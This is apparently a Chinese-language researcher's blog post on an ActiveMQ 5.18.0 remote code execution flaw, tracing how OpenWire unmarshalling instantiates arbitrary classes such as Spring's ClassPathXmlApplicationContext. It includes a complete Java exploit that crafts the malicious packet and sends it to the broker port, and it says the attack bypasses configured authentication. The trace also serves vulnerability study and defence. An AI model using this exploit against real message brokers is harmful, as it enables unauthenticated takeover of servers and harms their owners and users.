前言

这是今年挖到的比较厉害的漏洞,交给了国内三方平台,有一笔不错的收入,之后也是一鼓作气挖了Rocketmq RCE。

环境搭建

https://www.apache.org/dyn/closer.cgi?filename=/activemq/5.18.0/apache-activemq-5.18.0-bin.zip&action=download
最新版至少需要java11环境
下载后进入

apache-activemq-5.18.0\bin

启动

activemq.bat start

漏洞描述

activeMQ 启动后mq服务默认在61616 端口
启动服务后在
org.apache.activemq.transport.tcp.TcpTransport#doRun 断点
image-20230406162747697
进入 org.apache.activemq.transport.tcp.TcpTransport#readCommand
image-20230406162735379
继续跟进
org.apache.activemq.openwire.OpenWireFormat#doUnmarshal
image-20230406162830982
image-20230406162924278
看到根据读取的头不同,取不同的dsm,
这里目标是ExceptionResponseMarshaller
进入
org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#looseUnmarsalThrowable
image-20230406163055192
可以看到获取了clazz、message
跟进org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable
image-20230406163128800
看到根据className 实例化了 以 String为参数类型的类,并没有限制className,我们可以使用

org.springframework.context.support.ClassPathXmlApplicationContext

实现RCE

漏洞利用

payload 可以根据协议来构造,读了什么写什么ok了

package example.composite.dest;
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;
import java.io.*;
import java.net.Socket;
/**
 * @author <a href="http://www.christianposta.com/blog">Christian Posta</a>
 */
public class Consumer {
    private static final String BROKER_URL = "tcp://localhost:61616";
    private static final Boolean NON_TRANSACTED = false;
    private static final long TIMEOUT = 20000;
    public static void main(String[] args) throws IOException {
        String ip="";   //服务器端ip地址
        int port=;        //端口号
        Socket sck=new Socket(ip,port);
        //2.传输内容
        DataOutputStream out = null;
        DataInputStream in = null;
        out = new DataOutputStream(new BufferedOutputStream(new FileOutputStream("test.txt")));
        out.writeInt(32);
        out.writeByte(31);
        out.writeInt(1);
        out.writeBoolean(true);
        out.writeInt(1);
        out.writeBoolean(true);
        out.writeBoolean(true);
        out.writeUTF("类");
        out.writeBoolean(true);
        out.writeUTF("地址");
        out.close();
        in = new DataInputStream(new BufferedInputStream(new  FileInputStream("test.txt")));
        OutputStream os=sck.getOutputStream();   //输出流
        int length = in.available();
        byte[] buf = new byte[length];
        in.readFully(buf);
        os.write(buf);
        in.close();
        sck.close();
    }
}

直接打就可以了
图片.png

值得一提的是 ,这个漏洞加上权限校验也受影响

在apache-activemq-5.18.0\conf\activemq.xml

broker 下加上

<plugins>

<simpleAuthenticationPlugin>

<users>

<authenticationUser username="parry" password="parry123" groups="users,admins"/>

</users>

</simpleAuthenticationPlugin>

</plugins>

图片.png

此时正常的mq连接显示用户名密码错误

图片.png

但此漏洞发生在解包过程中,所以不受影响:
图片.png